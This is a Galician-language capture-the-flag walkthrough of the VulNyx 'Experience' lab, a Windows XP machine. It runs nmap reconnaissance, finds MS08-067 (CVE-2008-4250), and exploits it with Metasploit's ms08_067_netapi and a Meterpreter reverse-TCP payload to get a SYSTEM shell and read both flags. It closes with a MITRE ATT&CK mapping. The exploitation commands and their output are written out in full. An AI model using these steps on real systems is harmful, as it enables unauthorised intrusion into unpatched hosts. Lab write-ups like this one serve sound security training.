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Sistema operativo Windows XP (legacy) (Sen soporte dende 2014)
Vulnerabilidade crítica explotable: MS08-067 (CVE-2008-4250) - Buffer overflow en Server Service
Explotación mediante Metasploit Framework
Obtención de shell Meterpreter con privilexios de SYSTEM
Acceso directo a ambas flags (user e root) sen escalada

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Experience -R # TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Experience
sudo nmap -O IP_VulNyx_Experience # Detección de sistema operativo

Resultado da detección de SO

Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp2
OS details: Microsoft Windows XP SP2 or SP3

Fase 2 — Análise

Identificación do Sistema Operativo

# Detección de SO con nmap
sudo nmap -O -p 445 IP_VulNyx_Experience

# Detección de versión SMB
sudo nmap -sV -p 445 --script smb-os-discovery IP_VulNyx_Experience

Resultado

Sistema: Windows XP SP2/SP3
Porto 445 (SMB) aberto
Porto 139 (NetBIOS) aberto

Enumeración de Vulnerabilidades SMB

# Escaneo de vulnerabilidades SMB con nmap
sudo nmap -p 445 --script smb-vuln-* IP_VulNyx_Experience

Scripts NSE relevantes

smb-vuln-ms08-067: Detecta vulnerabilidade MS08-067
smb-vuln-ms17-010: Detecta EternalBlue
smb-vuln-ms06-025: Detecta outras vulnerabilidades

Resultado esperado:

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|     Risk factor: HIGH
|       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, 
|       Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 
|       Pre-Beta allows remote attackers to execute arbitrary code via a 
|       crafted RPC request that triggers the overflow during path 
|       canonicalization.
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

Busca de Exploits

# Buscar exploits para MS08-067
searchsploit ms08-067

# Buscar en Metasploit
msfconsole -q
search ms08-067

Resultado de Metasploit:

Matching Modules
================

   #  Name                                           Disclosure Date  Rank   Description
   -  ----                                           ---------------  ----   -----------
   0  exploit/windows/smb/ms08_067_netapi            2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption

Información sobre a Vulnerabilidade MS08-067

CVE-2008-4250 - Vulnerabilidade crítica no servizo Server de Windows que permite execución remota de código.

Datos clave: - Data de descubrimento: Outubro 2008
- Criticidade: CRÍTICA (10.0/10 CVSS)
- Sistemas afectados: Windows 2000, XP, Server 2003, Vista
- Vector de ataque: Rede (remoto)
- Complexidade: Baixa (fácil de explotar)
- Autenticación: Non require

Como funciona?

Servizo vulnerable: Server Service (servizo de compartición de ficheiros SMB)
Porto: 445/TCP (SMB)
Tipo de vulnerabilidade: Buffer overflow durante a canonicalización de rutas
Causa: Erro na función NetpwPathCanonicalize() dentro de netapi32.dll

Proceso de explotación

Atacante                         Windows XP (Porto 445)
   |                                      |
   |  1. Petición RPC maliciosa           |
   |------------------------------------->|
   |                                      |
   |  2. Buffer overflow en netapi32.dll  |
   |                                      | ← Desbordamento
   |                                      |
   |  3. Execución de shellcode           |
   |                                      | ← RCE conseguido
   |                                      |
   |  4. Shell como SYSTEM                |
   |<-------------------------------------|

Impacto

RCE (Remote Code Execution): Execución de código arbitrario
Sen autenticación: Non require credenciais
Privilexios SYSTEM: Máximo nivel de privilexios en Windows
Gusano Conficker: Esta vulnerabilidade foi usada polo famoso malware Conficker
Microsoft Security Bulletin
CVE: CVE-2008-4250
CVSS Score: 10.0 (Crítico)

Fase 3 — Explotación

Preparación de Metasploit

# Iniciar Metasploit Framework
msfconsole -q

# Buscar exploit MS08-067
search ms08-067

Configuración do Exploit

# Seleccionar exploit
use exploit/windows/smb/ms08_067_netapi

# Ver opcións do exploit
show options

# Configurar RHOSTS (obxectivo)
set RHOSTS IP_VulNyx_Experience

# Configurar LHOST (atacante)
set LHOST IP_Atacante

# Seleccionar payload (Meterpreter reverse TCP)
set payload windows/meterpreter/reverse_tcp

# Verificar configuración
show options

Configuración típica:

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.56.107   yes       Target address
   RPORT    445              yes       SMB port
   SMBPIPE  BROWSER          yes       SMB pipe name

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   LHOST     192.168.56.53    yes       Listener IP
   LPORT     4444             yes       Listener port

Executar Exploit

# Lanzar exploit
exploit

# Ou alternativamente
run

Saída esperada:

[*] Started reverse TCP handler on 192.168.56.53:4444 
[*] 192.168.56.107:445 - Automatically detecting the target...
[*] 192.168.56.107:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.56.107:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.56.107:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.56.107
[*] Meterpreter session 1 opened (192.168.56.53:4444 -> 192.168.56.107:1234)

meterpreter >

Fase 4 — Post‑explotación

Comandos Meterpreter

# Verificar usuario (debería ser SYSTEM)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Ver información do sistema
meterpreter > sysinfo
Computer        : EXPERIENCE
OS              : Windows XP (5.1 Build 2600, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

# Listar procesos
meterpreter > ps

# Ver privilexios
meterpreter > getprivs

# Obter shell de Windows
meterpreter > shell
Process 1234 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Navegación e obtención de flags

# Cambiar ao directorio Documents and Settings
C:\WINDOWS\system32> cd c:\doc*
C:\Documents and Settings>

# Listar usuarios
C:\Documents and Settings> dir
Volume in drive C has no label.
Volume Serial Number is XXXX-XXXX

Directory of C:\Documents and Settings

11/08/2025  10:30 AM    <DIR>          .
11/08/2025  10:30 AM    <DIR>          ..
11/08/2025  10:30 AM    <DIR>          Administrator
11/08/2025  10:30 AM    <DIR>          All Users
11/08/2025  10:30 AM    <DIR>          [usuario]
11/08/2025  10:30 AM    <DIR>          Default User

# Acceder ao usuario [usuario]
C:\Documents and Settings> cd [usuario]
C:\Documents and Settings\[usuario]>

# Listar contido
C:\Documents and Settings\[usuario]> dir

# Acceder ao Desktop
C:\Documents and Settings\[usuario]> cd Desktop
C:\Documents and Settings\[usuario]\Desktop>

# Listar ficheiros no Desktop
C:\Documents and Settings\[usuario]\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is XXXX-XXXX

Directory of C:\Documents and Settings\[usuario]\Desktop

11/08/2025  10:30 AM    <DIR>          .
11/08/2025  10:30 AM    <DIR>          ..
11/08/2025  10:30 AM                33 user.txt
11/08/2025  10:30 AM                33 root.txt

# Ler flag de usuario
C:\Documents and Settings\[usuario]\Desktop> type user.txt
[FLAG_USER]

# Ler flag de root (xa somos SYSTEM, non hai escalada)
C:\Documents and Settings\[usuario]\Desktop> type root.txt
[FLAG_ROOT]

Ambas flags conseguidas sen necesidade de escalada de privilexios.

Correspondencia de fases → MITRE ATT&CK — VulNyx: Experience

Fase	Acción / Resumo	Vector principal	MITRE ATT&CK (IDs)	CWE(s) (relevantes)
1. Recopilación	Descubrimento de host e servizos expostos	Scanning / descubrimento de servizos	T1595 — Active Scanning T1046 — Network Service Discovery	CWE-200 — Information Exposure (reconnaissance)
	Detección de sistema operativo Windows XP	OS fingerprinting	T1592.004 — Gather Victim Host Information: Client Configurations	CWE-200 — Information Exposure
2. Análise	Enumeración de vulnerabilidades SMB con nmap	Vulnerability scanning	T1595.002 — Active Scanning: Vulnerability Scanning T1046 — Network Service Discovery	CWE-1035 — 2017 Top 10 A9: Using Components with Known Vulnerabilities
	Identificación de MS08-067 (CVE-2008-4250)	Known vulnerability identification	T1592 — Gather Victim Host Information T1595.002 — Active Scanning: Vulnerability Scanning	CVE-2008-4250
3. Explotación	Explotación de MS08-067 mediante Metasploit	Remote Code Execution via SMB	T1210 — Exploitation of Remote Services T1190 — Exploit Public-Facing Application	CWE-119 — Buffer Overflow; CWE-787 — Out-of-bounds Write
	Obtención de Meterpreter shell como SYSTEM	Privilege escalation / initial access	T1068 — Exploitation for Privilege Escalation T1059.003 — Command and Scripting Interpreter: Windows Command Shell	CWE-269 — Improper Privilege Management
4. Post-explotación	Enumeración do sistema como SYSTEM	System information discovery	T1082 — System Information Discovery T1033 — System Owner/User Discovery	CWE-200 — Information Exposure
	Navegación polo sistema de ficheiros e lectura de flags	File and directory discovery	T1083 — File and Directory Discovery T1005 — Data from Local System	N/A

Recursos Adicionais

Referencias sobre MS08-067

Malware relacionado

MS08-067:
- Conficker Worm (2008-2009)